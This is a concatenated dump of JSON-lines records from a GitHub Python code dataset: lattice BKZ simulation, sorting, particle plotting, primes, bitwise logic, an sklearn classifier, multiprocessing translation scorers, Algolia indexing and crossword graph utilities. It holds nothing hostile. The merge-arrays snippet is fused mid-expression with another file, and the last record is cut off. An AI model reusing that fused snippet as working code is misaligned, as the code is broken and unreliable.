:param tours: number of BKZ-β tours. Default: 20\n :param nu: Bai and Galbraith's embedding factor\n :param cache: cache new returned simulations. Default: True\n :param float_type: type of float, used so LLL terminates for crypto params\n :param precision: mpfr precision required for crypto sized params\n :param simulate_also_lll: simulate rather than run the first call to LLL on the basis\n :param simulator: \"CN11\", \"BSW18\", or \"averagedBSW18\"\n :param prng_seed: PRNG seed\n\n :returns simulation: simulation output\n \"\"\"\n\n assert(tours > 0)\n if not simulate_also_lll and ((n, sd, q, m, beta, tours) in already_simulated):\n # if actually running LLL, one needs to construct a basis and reduce it\n # this takes a while, so caching simulations to disk is an option\n simulation = already_simulated[(n, sd, q, m, beta, tours)]\n else:\n simulation = singleThreadExperiment(prng_seed, n, q, sd, m, beta,\n nu=nu, max_tours=tours, simulate=True, float_type=float_type,\n mpfr_precision=precision, simulate_also_lll=simulate_also_lll,\n simulator=simulator)\n if cache:\n already_simulated[(n, sd, q, m, beta, tours)] = simulation\n save(already_simulated, \"already_simulated.sobj\")\n return simulation\n","repo_name":"fvirdia/usvp-simulation","sub_path":"bkz_simulations_wrapper.py","file_name":"bkz_simulations_wrapper.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"38514748084","text":"#merge two sorted arrays\ndef merge(arr1,arr2):\n i=0\n j=0\n k=0\n arr3 = []\n \n while(i answer:\n answer = sub\n\n print(answer)","repo_name":"choihaerim/algorithms","sub_path":"백준/파이썬/11497.py","file_name":"11497.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12402616806","text":"import matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nimport numpy as np\nfrom sys import argv\n\n\ndata = np.load(argv[1])\n\n# Process data\ntrajectories = data[\"trajectories\"][::, :, :]\nnum_particles = trajectories.shape[1]\nnum_frames = trajectories.shape[0]\nwidth, height = data[\"space_dimensions\"]\nradii = data[\"radii\"]\ncirc_sizes = (radii*9.0)**2\nbd = data[\"bounding_distances\"]\nsorted_by_x = data[\"sort_by_x\"]\nsorted_by_y = data[\"sort_by_y\"]\nprint(sorted_by_x)\nprint(sorted_by_y)\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.set_title(\"Motion test\")\nax.set_xlabel(\"x\")\nax.set_ylabel(\"y\")\nax.add_patch(Rectangle((0.0, 0.0), width, height, linewidth=4,\n edgecolor='b', facecolor='none'))\nax.scatter(*trajectories[0].T, s=circ_sizes)\nfor i, pos in enumerate(trajectories[0]):\n ax.add_patch(Rectangle(pos-np.array([bd[i], bd[i]]), 2*bd[i], 2*bd[i], linewidth=2,\n edgecolor=\"r\", facecolor=\"none\"))\n ax.annotate(f\"{i}\", pos, fontsize=25)\n\nplt.show()\n","repo_name":"pelegs/LJ_particles","sub_path":"tests/sort_n_sweep_test_1.py","file_name":"sort_n_sweep_test_1.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31857334334","text":"import math\n\n\ndef is_prime_number(number: int) -> bool:\n if number == 1 or number == 0:\n return False\n\n standard = math.floor(math.sqrt(number))\n\n for n in range(2, standard + 1):\n if number % n == 0:\n return False\n\n return True\n\n\ndef cache_prime_number():\n cache = []\n standard = 123456\n\n for number in range(0, standard * 2 + 1):\n cache.append(is_prime_number(number))\n\n return cache\n\n\ndef main():\n cache = cache_prime_number()\n results = []\n\n while True:\n n = int(input())\n N = 2 * n\n\n if n == 0:\n break\n\n results.append(sum(cache[n+1:N+1]))\n\n [print(count) for count in results]\n\n\nmain()\n","repo_name":"onikss793/algo","sub_path":"math_2/Bertrand's postulate.py","file_name":"Bertrand's postulate.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16995875287","text":"import operator # functions for operators, allows code reuse\n\n\n# provides truth table\ndef truth_options():\n a_opts = [1, 0]\n b_opts = [1, 0]\n return [(a, b) for a in a_opts for b in b_opts] # double for permutes options\n\n\n# provides equivalent function lookup for bitwise operators\ndef bitwise_options(op):\n ops = {'&': operator.and_,\n '|': operator.or_,\n '^': operator.xor}\n return ops[op]\n\n\n# control/eval for bitwise operators\ndef bitwise_eval(op, op2=\"\"):\n if op2 == \"\":\n op_func = bitwise_options(op)\n print(f\"Bitwise {op}\")\n for a, b in truth_options():\n print(f\"{a} {op} {b} is {op_func(a, b)}\")\n else:\n op2_func = bitwise_options(op2)\n print(f\"Bitwise {op}\")\n for a, b in truth_options():\n print(f\"{op}({a} {op2} {b}) is {(1, 0)[op2_func(a, b)]}\") # opposite: index 0 returns 1, index 1 return 0\n print()\n\ndef method1():\n bitwise_eval(\"&\")\n bitwise_eval(\"NAND\", \"&\")\n bitwise_eval(\"|\")\n bitwise_eval(\"NOR\", \"|\")\n bitwise_eval(\"^\")\n\ndef method2():\n truth_table = [[1,1], [1,0], [0,1], [0,0]]\n for a, b in truth_table:\n print(f\"and {a} & {b}: {a & b}\")\n for a, b in truth_table:\n print(f\"nand ~({a} & {b}): {((a & b) + 1) % 2}\") # warning: ~ negates entire integer\n for a, b in truth_table:\n print(f\"or {a} | {b}: {a | b}\")\n for a, b in truth_table:\n print(f\"nor ~({a} | {b}): {((a | b) + 1) % 2}\") # warning: ~ negates entire integer\n for a, b in truth_table:\n print(f\"xor {a} ^ {b}: {a ^ b}\")\n\n\n# bitwise evaluation vs truth table\nif __name__ == \"__main__\":\n print(\"***** Method 1 *****\")\n method1()\n print(\"***** Method 2 *****\")\n method2()\n\n","repo_name":"nighthawkcoders/nighthawk_csp","sub_path":"algorithm/bitwise.py","file_name":"bitwise.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"11094327240","text":"import time\nimport pandas as pd\nfrom nltk.stem.snowball import SnowballStemmer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import confusion_matrix\n\nTRAIN = \"./data/train_raw.csv\"\nDEV = \"./data/dev_raw.csv\"\nTEST = \"./data/test_raw.csv\"\n\nstemmer = SnowballStemmer(\"english\")\n\n\nclass StemmedCountVectorizer(CountVectorizer):\n def build_analyzer(self):\n analyzer = super(StemmedCountVectorizer, self).build_analyzer()\n return lambda doc: ([stemmer.stem(w) for w in analyzer(doc)])\n\n\ndef main():\n start = time.time()\n\n training_data = preprocess(TRAIN)\n dev_data = preprocess(DEV)\n test_data = preprocess(TEST, test=True)\n\n train(training_data, dev_data, test_data)\n\n end = time.time()\n # print(\"\\n{} seconds\".format(end - start))\n return None\n\n\ndef ranges(age):\n if 14 <= age <= 16:\n return \"14-16\"\n elif 24 <= age <= 26:\n return \"24-26\"\n elif 34 <= age <= 36:\n return \"34-36\"\n elif 44 <= age <= 46:\n return \"44-46\"\n return \"?\"\n\n\ndef preprocess(file_path, test=False):\n data = pd.read_csv(file_path, header=None)\n data = data[[2, 6]]\n data.columns = [\"age\", \"text\"]\n if not test:\n data[\"age\"] = data[\"age\"].map(ranges)\n data = data[data.age != \"?\"]\n return data\n\n\ndef train(training_data, dev_data, test_data):\n parameters = {\"vect__ngram_range\": [(1, 1), (1, 2)],\n \"vect__stop_words\": (\"english\", None),\n \"tfidf__use_idf\": (True, False)}\n\n nb_clf = Pipeline([(\"vect\", StemmedCountVectorizer(stop_words=\"english\", ngram_range=(1, 2))),\n (\"tfidf\", TfidfTransformer(use_idf=True)),\n (\"clf\", MultinomialNB()), ])\n\n svm_clf = Pipeline([(\"vect\", StemmedCountVectorizer(ngram_range=(1, 2))),\n (\"tfidf\", TfidfTransformer(use_idf=True)),\n (\"clf\", SGDClassifier(loss=\"hinge\", penalty=\"l2\",\n alpha=1e-3, random_state=42,\n max_iter=5, tol=None,\n n_jobs=6)), ])\n\n lr_clf = Pipeline([(\"vect\", StemmedCountVectorizer(ngram_range=(1, 2))),\n (\"tfidf\", TfidfTransformer(use_idf=True)),\n (\"clf\", LogisticRegression()), ])\n\n gs_clf = GridSearchCV(lr_clf, parameters, n_jobs=6)\n\n # fit(nb_clf, training_data)\n # fit(svm_clf, training_data)\n fit(lr_clf, training_data)\n # fit(gs_clf, training_data)\n\n # score(nb_clf, \"NB\", training_data, dev_data)\n # score(svm_clf, \"SVM\", training_data, dev_data)\n # score(lr_clf, \"LR\", training_data, dev_data)\n # gs_score(gs_clf, parameters, training_data, dev_data)\n\n predictions = lr_clf.predict(test_data[\"text\"])\n output(predictions)\n return None\n\n\ndef generate_confusion_matrix(classifier, data):\n predictions = classifier.predict(data[\"text\"])\n cnf_matrix = confusion_matrix(data[\"age\"], predictions)\n return cnf_matrix\n\n\ndef fit(classifier, training_data):\n classifier.fit(training_data[\"text\"], training_data[\"age\"])\n return None\n\n\ndef score(classifier, classifier_name, training_data, dev_data):\n score = classifier.score(dev_data[\"text\"], dev_data[\"age\"])\n print(\"{}: {}\".format(classifier_name, score))\n return None\n\n\ndef gs_score(classifier, parameters, training_data, dev_data):\n score(classifier, \"GS\", training_data, dev_data)\n for param_name in sorted(parameters.keys()):\n print(\"{}: {}\".format(param_name, classifier.best_params_[param_name]))\n return None\n\n\ndef output(predictions):\n \"\"\"Output the predictions to stdout in the form specified on Kaggle\"\"\"\n\n print(\"Id,Prediction\")\n i = 1\n for prediction in predictions:\n print(\"3{},{}\".format(i, prediction))\n i += 1\n return None\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"omjadas/comp30027-proj2","sub_path":"ass2.py","file_name":"ass2.py","file_ext":"py","file_size_in_byte":4211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9554100489","text":"\"\"\"\nCreated by: Xavier Frenette \nCreated on: 2021-03-22\n\"\"\"\nimport logging\nfrom contextlib import closing\nfrom multiprocessing import Process\nfrom multiprocessing.synchronize import Event as EventType\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom typing import Dict, NamedTuple, Optional, Callable, Tuple, Any\n\nimport sacrebleu\nimport torch\nfrom bert_score import BERTScorer\nfrom tqdm import tqdm\n\nfrom couleurs.utils.multiprocessing import ProcessList, StoppableQueue, \\\n StoppedException, ExtendedSyncManager\nfrom .batch import BatchBuilder\nfrom .score_task import ScoreTask, ScoreTaskList\nfrom .translation import TranslationResult, ScoreTaskTranslator\n\n\nclass ScoreResult(NamedTuple):\n \"\"\"A score result of a translation\"\"\"\n score_task: ScoreTask\n metric: str\n score: float\n\n\nclass ScorersPool(Process):\n \"\"\"\n Pool of scoring processes (instances of `ScorerProcess`). Distributes `TranslationResult` from a TranslationResult\n queue to scorers.\n\n Scoring processes can be divided in \"groups\" consisting of one or multiple `ScorerProcess` processes. All processes\n in the same group share a same `TranslationResult` queue. Different groups have different queues. Once a new\n `TranslationResult` comes from the `translations` queue, it is distributed to the queue of each group.\n\n For example, we could have 3 `BLEUScorerProcess` (the \"BLEU\" group) and 1 `BERTScorerProcess` (the \"BERT\" group).\n When a new `TranslatorResult` is retrieved, it is sent to the queue of both queue. One of the `BLEUScorerProcess`\n will calculate the BLEU score while the `BERTScorerProcess` will calculate the BERTScore.\n \"\"\"\n\n MAX_WAITING_JOBS = 50\n MAX_SCORES = 20\n\n def __init__(self, translations: StoppableQueue, manager: ExtendedSyncManager, shutdown_event: EventType):\n \"\"\"\n :param manager: `ExtendedSyncManager` to create queues\n :param shutdown_event: Event that, once set, should stop this process\n \"\"\"\n super().__init__()\n self._logger = logging.getLogger(self.__class__.__name__)\n self._queues: Dict[str, StoppableQueue] = {}\n self._scorer_groups: Dict[str, Tuple[int, Callable[..., \"ScorerProcess\"], Tuple[Any]]] = {}\n self._shutdown_event = shutdown_event\n self._translations = translations\n self.scores = manager.StoppableQueue(self.MAX_SCORES, stop_event=shutdown_event)\n self._manager = manager\n\n def add_scorers_group(self, group_name: str, target: Callable[..., \"ScorerProcess\"], nb_processes: int, args=tuple()):\n \"\"\"\n Add a new group of processes.\n\n The actual process instance will be created as child processes once the pool process starts, not before. So\n instead of an instance of the process, this method accepts a `target` (ex: the process class) and initialization\n arguments (`args`).\n\n `nb_processes` instances will be created (the `target` will be called this number of times, each time with the\n `args` arguments).\n\n :param group_name: Name of this group\n :param target: Callable (or class) to create each process\n :param nb_processes: Number of scorer processes to create\n :param args: Arguments to pass to `target` when called to create the process\n \"\"\"\n if self.is_alive():\n # We can't add new scorers group, because self._queues and self._processes are not multiprocess dict, so if\n # the process is started, we can't update those dictionaries in the subprocess\n raise ValueError(\"Can't add scorers group once the process is started.\")\n\n group_queue = self._manager.StoppableQueue(self.MAX_WAITING_JOBS, stop_event=self._shutdown_event)\n self._scorer_groups[group_name] = (nb_processes, target, args)\n self._queues[group_name] = group_queue\n\n def _complete_all(self, processes: Dict[str, ProcessList[\"ScorerProcess\"]]):\n for group_name, group_processes in processes.items():\n for _ in group_processes:\n self._queues[group_name].watching_put(None)\n\n def _start_scorers(self) -> Dict[str, ProcessList[\"ScorerProcess\"]]:\n \"\"\"\n Create scorer process instances of all groups and start them.\n\n :return: All started processes, grouped by their group name\n \"\"\"\n processes = {}\n for group_name, (nb_processes, target, args) in self._scorer_groups.items():\n processes[group_name] = ProcessList()\n for process_number in range(nb_processes):\n instance: ScorerProcess = target(*args, name=f\"ScorerProcess ({group_name}, #{process_number})\")\n instance.integrate(self._queues[group_name], self.scores, self._shutdown_event)\n processes[group_name].append(instance)\n processes[group_name].start()\n return processes\n\n def run(self):\n try:\n processes = self._start_scorers()\n translations = self._translations\n\n while not self._shutdown_event.is_set():\n try:\n next_translation: TranslationResult = translations.watching_get()\n\n # If we received None, it means there is no more translations to score. We send the None to each\n # scoring process\n if next_translation is None:\n self._complete_all(processes)\n break\n\n # We send the translation to score to each groups (even if it was None)\n for group_queue in self._queues.values():\n group_queue.watching_put(next_translation)\n\n except StoppedException:\n break\n\n # If the shutdown_event was triggered, we stop all sub processes, else we wait for all of them to finish\n for group_processes in processes.values():\n if self._shutdown_event.is_set():\n group_processes.stop()\n else:\n try:\n group_processes.join()\n except StoppedException:\n group_processes.stop()\n\n # If all sub processes stopped and the shutdown event is still not triggered, we add None to the `scores` queue\n if not self._shutdown_event.is_set():\n self.scores.watching_put(None, raise_exception=False)\n except KeyboardInterrupt:\n self._logger.warning(\"KeyboardInterrupt raised\")\n\n\nclass ScorerProcess(Process):\n \"\"\"\n Generic class for a scorer process\n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._logger = logging.getLogger(self.name)\n self._shutdown_event: Optional[EventType] = None\n self._translations: Optional[StoppableQueue[TranslationResult]] = None\n self._scores: Optional[StoppableQueue[ScoreResult]] = None\n\n def integrate(self, translations: StoppableQueue[TranslationResult], scores: StoppableQueue[ScoreResult],\n shutdown_event: EventType):\n \"\"\"\n Method called by the ScorersPool to integrate this process into the pool.\n\n The `translations` is the queue where new translation results waiting for scoring will be put. `scores` is the\n queue where to output `ScoreResult` calculated. The `shutdown_event` is the event that, once triggered, should\n end this process.\n\n :param translations: Queue of `TranslationResult` to score\n :param scores: Queue where to put `ScoreResult` once calculated\n :param shutdown_event: `Event` that should stop this process if set\n \"\"\"\n self._shutdown_event = shutdown_event\n self._translations = translations\n self._scores = scores\n\n @staticmethod\n def get_metric_name() -> str:\n raise NotImplementedError()\n\n def run(self):\n try:\n while not self._shutdown_event.is_set():\n try:\n next_translation = self._translations.watching_get()\n\n # If the `next_translation` is None, it means we don't have anymore scoring to do. We end the process\n if next_translation is None:\n break\n\n self._process_translation(next_translation)\n except StoppedException:\n break\n except KeyboardInterrupt:\n self._logger.warning(\"KeyboardInterrupt raised\")\n # Do nothing else\n\n def _process_translation(self, translation: TranslationResult):\n \"\"\"\n Abstract method that processes a `TranslationResult`\n\n :param translation: `TranslationResult` to process\n \"\"\"\n raise NotImplementedError()\n\n\nclass BLEUScorerProcess(ScorerProcess):\n \"\"\"\n Scorer process that calculates a BLEU score\n \"\"\"\n\n @staticmethod\n def get_metric_name() -> str:\n return \"BLEU\"\n\n @staticmethod\n def _create_metric():\n return sacrebleu.BLEU()\n\n def _process_translation(self, translation: TranslationResult):\n metric = self._create_metric()\n bleu_score = metric.corpus_score(translation.translations, [translation.batch.target])\n metric_name = self.get_metric_name()\n self._logger.info(f\"{metric_name} for {translation.score_task.key}: {bleu_score.score}\")\n result = ScoreResult(translation.score_task, metric_name, bleu_score.score)\n self._scores.watching_put(result, False)\n\n\nclass NoopScorer(ScorerProcess):\n \"\"\"\n Special scorer that does nothing, it only consume the translation result.\n\n It's used when we don't want to calculate any score, but we still want to\n keep the waiting translations queue empty.\n \"\"\"\n\n @staticmethod\n def get_metric_name() -> str:\n return \"No-OP\"\n\n def _process_translation(self, translation: TranslationResult):\n # Do nothing\n pass\n\n\nclass CHRFScorerProcess(ScorerProcess):\n \"\"\"\n Scorer process that calculates a chrF++ score\n \"\"\"\n\n @staticmethod\n def get_metric_name() -> str:\n return \"chrF++\"\n\n @staticmethod\n def _create_metric():\n return sacrebleu.CHRF(word_order=2)\n\n def _process_translation(self, translation: TranslationResult):\n metric = self._create_metric()\n chrf_score = metric.corpus_score(translation.translations, [translation.batch.target])\n score = chrf_score.score\n metric_name = self.get_metric_name()\n self._logger.info(f\"{metric_name} for {translation.score_task.key}: {score}\")\n result = ScoreResult(translation.score_task, metric_name, score)\n self._scores.watching_put(result, False)\n\n\nclass TaskListBERTScorer:\n \"\"\"\n Calculates BERTScore in a ScoreTaskList from already translated files.\n\n Updates all BERTScores in a ScoreTaskList by calculating the BERTScore for\n each task already translated.\n\n This class should be used after the ScoreTaskTranslator has already run.\n \"\"\"\n SCORE_NAME = \"BERTScore\"\n\n def __init__(self, task_list: ScoreTaskList, batch_builder: BatchBuilder, translations_dir: Path,\n manager: ExtendedSyncManager, device=\"cpu\", verbose=False):\n \"\"\"\n :param task_list: The task list to update\n :param batch_builder: Batch builder returning the source and target sentences\n for each task\n :param translations_dir: Directory containing the translated sentences for\n each task\n :param manager: Multiprocessing \"extended\" sync manager\n :param device: Device where to load the BERTScorer\n :param verbose: Show progress of scoring\n \"\"\"\n self._task_list = task_list\n self._translations_dir = translations_dir\n self._batch_builder = batch_builder\n self._manager = manager\n self._verbose = verbose\n self._scorer = BERTScorer(lang=\"fr\", device=device, nthreads=8, rescale_with_baseline=True)\n\n def run(self):\n \"\"\"\n Starts the scoring for each incomplete task in the task list.\n\n For each incomplete task in the task list, calculates the BERTScore by\n averaging the BERTScore of each translated sentence for this task.\n\n The ScoreTaskList cache file will be periodically updated. Note that\n the update will happen in another process, so the task list passed to\n this instance won't be updated. Call task_list.reload() to update it\n from the cache file.\n\n Already scored tasks are not updated.\n\n :raises FileNotFoundError: If an incomplete task doesn't have its\n associated translation file.\n \"\"\"\n stop_event = self._manager.Event()\n scores = self._manager.StoppableQueue(100, stop_event=stop_event)\n listen_process = self._task_list.listen(scores)\n listen_process.start()\n\n stats = self._task_list.stats\n try:\n with closing(tqdm(total=stats.incomplete)) as progress, TemporaryDirectory() as tmp_dir_name:\n tmp_dir = Path(tmp_dir_name)\n for task in self._task_list.incomplete_tasks:\n progress.set_description(task.key)\n sentences_scores = self._get_task_scores(task, tmp_dir)\n task_score = sentences_scores.mean().item()\n result = ScoreResult(task, self.SCORE_NAME, task_score)\n scores.watching_put(result)\n progress.update()\n except KeyboardInterrupt:\n stop_event.set()\n\n scores.watching_put(None)\n listen_process.join()\n\n def _get_task_scores(self, task: ScoreTask, cache_dir: Path) -> torch.Tensor:\n \"\"\"\n For a ScoreTask, calculate and return the BERTScore per sentence.\n\n Given a ScoreTask, retrieves the already translated sentences for this task and calculates their BERTScore by\n comparing to the target sentences.\n\n Since bootstrap sets are used, a sentence may be found in multiple sets. For optimality, the ScoreTaskTranslator\n translates whole domain files for each embedding set instead of translating each bootstrap set independently.\n Thus each sentence is translated only one time, even if its present in multiple bootstrap sets.\n\n This BERTScore scorer uses the same improvement. It scores whole domain files for each embedding set and then\n retrieves only the sentence scores for the task's batch. Those \"domain files\" are exactly the sames generated by\n the ScoreTaskTranslator. This is done lazily: only when this method is called with a task that its domain\n file is scored.\n\n This method then loads the cached scores and returns only those for this task's batch as a Torch tensor.\n\n The calculated scores are saved in (and retrieved from) the `cache_dir`.\n\n :param task: ScoreTask\n :param cache_dir: Directory where to temporarily save the embedding set scores\n :return: Float torch tensor of shape (n,) where n is the number of sentences in this task's set\n \"\"\"\n cache_path = cache_dir / f\"{task.embedding_key}.pt\"\n\n if cache_path.exists():\n embedding_set_scores = torch.load(cache_path)\n else:\n # We score all the translations for this task's embedding set'\n translations_path = ScoreTaskTranslator.generate_translation_path(self._translations_dir, task)\n\n if not translations_path.exists():\n raise FileNotFoundError(f\"Translation file for a task not found: {translations_path}. Make sure you ran\"\n f\" `calculate_scores` before `bertscore`.\")\n\n with open(translations_path, \"r\") as file:\n translations = [line.strip() for line in file.readlines()]\n\n target_sentences = self._batch_builder.data_source.get_target_sentences(task.domain)\n _, _, embedding_set_scores = self._scorer.score(translations, target_sentences, verbose=self._verbose)\n\n # We save in cache the calculated embedding_set_scores\n torch.save(embedding_set_scores, cache_path)\n\n return self._batch_builder.batchify(embedding_set_scores, task)\n","repo_name":"xfrenette/echantillons-codes-maitrise","sub_path":"multiprocessus/wde/scoring.py","file_name":"scoring.py","file_ext":"py","file_size_in_byte":16331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35753159121","text":"#!/usr/bin/python\nfrom threading import Lock, Thread\nimport copy\nimport time\n\nlock = Lock()\n\nglobal g_stocks\ng_stocks = []\n\n\ndef add_stock():\n global g_stocks\n # get a lock\n lock.acquire()\n time.sleep(0.25)\n g_stocks.append('1')\n # release a lock\n lock.release()\n\n\ndef read_stocks():\n global g_stocks\n lock.acquire()\n current_stocks = copy.copy(g_stocks)\n lock.release()\n print(current_stocks)\n return current_stocks\n\n\nfor i in range(1, 10):\n th1 = Thread(target=add_stock)\n th1.start()\n\n th2 = Thread(target=read_stocks)\n th2.start()\n\n\ndef read_file():\n file_name = \"first.cs\"\n lock.acquire()\n with open(file_name, 'r') as f:\n print(f.read())\n lock.release()\n\n\nfor i in range(1, 100):\n th1 = Thread(target=read_file)\n th1.start()","repo_name":"shachash1984/Python_Multitasking","sub_path":"Locks.py","file_name":"Locks.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17723888733","text":"import os\nimport numpy as np\n\nfrom algoliasearch.search_client import SearchClient\nfrom google.cloud.firestore_v1.document import DocumentReference\n\nALGOLIA_INDEX_TITLE = os.environ.get('ALGOLIA_INDEX_TITLE')\nALGOLIA_PROJECT_ID = os.environ.get('ALGOLIA_PROJECT_ID')\nALGOLIA_API_TOKEN = os.environ.get('ALGOLIA_API_TOKEN')\n\n\ndef add_to_algolia_index(db, task_ref):\n task = task_ref.get()\n\n algolia_client = SearchClient.create(ALGOLIA_PROJECT_ID, ALGOLIA_API_TOKEN)\n index = algolia_client.init_index(ALGOLIA_INDEX_TITLE)\n\n task_dict = get_task_data(db, task)\n records_uploaded = upload_to_algolia_index(index, [task_dict])\n if records_uploaded:\n task_ref.update({'is_in_aloglia_index': True})\n\n\ndef get_task_data(db, task):\n task_dict = get_dict_with_id(task)\n task_dict['responses'] = get_task_responses(db, task)\n return task_dict\n\n\ndef get_task_responses(db, task):\n responses = db.collection(f'tasks/{task.id}/responses').get()\n return list(map(get_dict_with_id, responses))\n\n\ndef upload_to_algolia_index(index, data):\n response = index.save_objects([doc for doc in data], {\n 'autoGenerateObjectIDIfNotExist': True\n })\n # There should be only one raw response\n records_uploaded = response.raw_responses[0].get(\"objectIDs\")[0]\n print(f'{records_uploaded} uploaded to algolia')\n return len(records_uploaded)\n\n\n# add objectID to the doc\ndef get_dict_with_id(doc):\n id = doc.id\n doc_dict = doc.to_dict()\n doc_dict = clean_dict(doc_dict)\n doc_dict['objectID'] = id\n return doc_dict\n\n\n# remove all bugged data in docs and responses\ndef clean_dict(doc_dict):\n keys_to_del = []\n for k, v in doc_dict.items():\n # DocumentReference is not JSON serializable\n if type(v) == DocumentReference:\n keys_to_del.append(k)\n # NaN throws \"lexical error: invalid char in json text\"\n if type(v) == float and np.isnan(v):\n doc_dict[k] = None\n for key in keys_to_del:\n removed = doc_dict.pop(key, None)\n print(f'removed {key} -> {removed}')\n return doc_dict\n","repo_name":"KloopMedia/Journal","sub_path":"cloud_functions/completion/algolia_index.py","file_name":"algolia_index.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13915685319","text":"from bartez import boards\nfrom bartez import entry\nfrom bartez.crossword import Crossworld, SquareValues\n\nimport networkx as nx\nfrom networkx.algorithms.community import k_clique_communities\nfrom networkx.algorithms.community.kernighan_lin import kernighan_lin_bisection\n\n\ndef get_test_crossword():\n board, geometry = boards.get_default_board()\n crossword = Crossworld(geometry[0], geometry[1])\n for p in board:\n r, c = p[0], p[1]\n crossword.set_value(r, c, SquareValues.block)\n crossword.prepare()\n return crossword\n\n\ndef get_test_graph(crossword):\n graph = nx.Graph()\n entries = crossword.entries()\n num_of_vertex = len(entries)\n\n for index_entry, entry in enumerate(entries):\n graph.add_node(index_entry, desc=str(entry.description()))\n relations = entry.relations()\n for index_relation, relation in enumerate(relations):\n graph.add_edge(index_entry, relation.index())\n\n return graph\n\n\ndef print_test_subgraph_info(graph, name):\n print(\"\\n* SubGraph info: \" + name + \"\\n\")\n\ndef print_test_graph_info(graph, name):\n print(\"\\n* Graph info: \" + name + \"\\n\")\n print(\"is_biconnected: \" + str(nx.is_biconnected(graph)))\n print(\"is_bipartite: \" + str(nx.is_bipartite(graph)))\n print(\"is_chordal: \" + str(nx.is_chordal(graph)))\n print(\"is_connected: \" + str(nx.is_connected(graph)))\n print(\"is_directed: \" + str(nx.is_directed(graph)))\n print(\"is_directed_acyclic_graph: \" + str(nx.is_directed_acyclic_graph(graph)))\n print(\"is_distance_regular: \" + str(nx.is_distance_regular(graph)))\n print(\"is_eulerian: \" + str(nx.is_eulerian(graph)))\n print(\"is_graphical: \" + str(nx.is_graphical(graph)))\n #print(\"is_isolate: \" + str(nx.is_isolate(graph, 1)))\n print(\"\\n\")\n\ndef split_graph(graph):\n sections = kernighan_lin_bisection(graph, max_iter=2000)#max_iter=graph.number_of_nodes()*100)\n subgraphs = []\n for section_index, section in enumerate(sections):\n subgraph = graph.subgraph(section).copy()\n subgraphs.append(subgraph)\n\n return subgraphs, sections\n\ndef get_best_connected_subgraphs(graph, max_subgraphs):\n subgraphs, sections = split_graph(graph)\n\n connected_graphs = []\n connected_sections = []\n for subgraph_index, subgraph in enumerate(subgraphs):\n if nx.is_connected(subgraph) or len(connected_graphs) >= max_subgraphs :\n connected_graphs.append(subgraph)\n connected_sections.append(sections[subgraph_index]) #subgraph index == sections_index\n else:\n r_subgraphs, r_sections = get_best_connected_subgraphs(subgraph, max_subgraphs/2)\n for r_subgraph_index, r_subgraph in enumerate(r_subgraphs):\n #assert(nx.is_connected(r_subgraph))\n connected_graphs.append(r_subgraph)\n connected_sections.append(r_sections[r_subgraph_index])\n\n return connected_graphs, connected_sections\n\n\ndef find_graph_common_entries(entries, first, second):\n common = []\n for n in first:\n entry = entries[n]\n rels = entry.get_relations()\n for r in rels:\n r_index = r.get_index()\n entry_r = entries[r_index]\n for m in second:\n if m == r_index:\n common.append(m)\n return common\n","repo_name":"crsnplusplus/bartez","sub_path":"bartez/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15233387194","text":"from P1.task03.interpolation import Interpolation\nfrom P1.task03.regression import Regression\nimport configparser\n\nicod_map = {\n 1: Interpolation,\n 2: Regression\n}\ndef run():\n with open(\"P1/task03/input.txt\", \"r\") as file:\n parser_string = '[INPUT]\\n' + file.read()\n parser = configparser.ConfigParser()\n parser.read_string(parser_string)\n \n try:\n icod = int(parser['INPUT']['ICOD'])\n n = int(parser['INPUT']['n'])\n x = int(parser['INPUT']['x'])\n input_path_points = parser['INPUT']['path_points']\n output_path = parser['INPUT']['output']\n except:\n raise Exception(\"ERROR: Arquivo de input com erro.\")\n\n ChoosenMethod = icod_map[icod]\n points = []\n with open(\"P1/task03/\"+input_path_points, \"r\") as file:\n content = file.readlines()\n for row in content:\n pair = [float(num) for num in row.split(' ')]\n points.append(pair)\n\n methodClass = ChoosenMethod(\n n=n,\n points=points,\n x=x\n )\n\n y = methodClass.solve()\n \n with open(\"P1/task03/\"+output_path, \"w\") as file:\n buffer = f\"f({x}) = {y}\"\n file.write(buffer)\n \n print(\"P1 - Task 03 executada com sucesso. Saída disponível em: P1/task03/\"+output_path)","repo_name":"Ribeiro-Victor/algebra-linear-computacional","sub_path":"P1/task03/task03.py","file_name":"task03.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40524874881","text":"from factory import post_generation\n\nfrom Authors.fakers import AuthorFaker\nfrom Images.fakers import ImageFaker\nfrom Projects.factories 